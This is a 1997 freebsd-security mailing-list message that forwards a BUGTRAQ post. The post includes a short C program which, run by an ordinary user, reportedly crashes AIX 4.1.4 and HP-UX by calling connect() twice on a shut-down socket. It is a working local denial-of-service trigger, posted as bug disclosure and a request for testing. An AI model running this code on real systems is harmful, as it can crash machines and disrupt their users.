From owner-freebsd-security  Fri Mar  7 11:09:40 1997
Return-Path: <owner-security>
Received: (from root@localhost)
          by freefall.freebsd.org (8.8.5/8.8.5) id LAA07568
          for security-outgoing; Fri, 7 Mar 1997 11:09:40 -0800 (PST)
Received: from atena.eurocontrol.fr (atena.uneec.eurocontrol.fr [147.196.69.10])
          by freefall.freebsd.org (8.8.5/8.8.5) with SMTP id LAA07556
          for <security@freebsd.org>; Fri, 7 Mar 1997 11:09:10 -0800 (PST)
Received: by atena.eurocontrol.fr; (5.65v3.2/1.3/10May95) id AA22922; Fri, 7 Mar 1997 20:09:03 +0100
Received: (from roberto@localhost)
	by caerdonn.eurocontrol.fr (8.8.5/caerdonn-1.1) id UAA22217;
	Fri, 7 Mar 1997 20:09:03 +0100 (CET)
Message-Id: <19970307200903.47617@caerdonn.eurocontrol.fr>
Date: Fri, 7 Mar 1997 20:09:03 +0100
From: Ollivier Robert <roberto@eurocontrol.fr>
To: security@freebsd.org
Subject: Fwd: Bug in connect() for aix 4.1.4 ?
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.62-1-4,6-11
X-Operating-System: FreeBSD 3.0-CURRENT
Sender: owner-security@freebsd.org
X-Loop: FreeBSD.org
Precedence: bulk

Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX
9.05 and 10.20 easily with it...

-----Forwarded message from Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>-----

Date:         Wed, 5 Mar 1997 13:23:54 +0100
From: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>
Subject:      Bug in connect() for aix 4.1.4 ?
To: BUGTRAQ@NETSPACE.ORG

Can someone tell me why this simple tcp program crashes aix 4.1.4 .
I run this program as a normal user, and the second connect crashes aix.
is it just connect's old bug from aix ? i have tried it in aix 3.2
but it works only in 4.1.4.

_____________________________________________________________________

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>

main()
{
    int sock;
    struct sockaddr_in server;
    struct hostent *hp;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
    hp = gethostbyname("localhost");
    bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
    server.sin_family = AF_INET;
    server.sin_port = 23;
    connect(sock, (struct sockaddr *)&server, sizeof server);
    shutdown(sock, 2);
    server.sin_port = 24;
    connect(sock, (struct sockaddr *)&server, sizeof server);
}


_________________________________________________________________________
Cahya Wirawan.

-----End of forwarded message-----

-- 
Ollivier ROBERT -=- Eurocontrol EEC/TS -=- Ollivier.Robert@eurocontrol.fr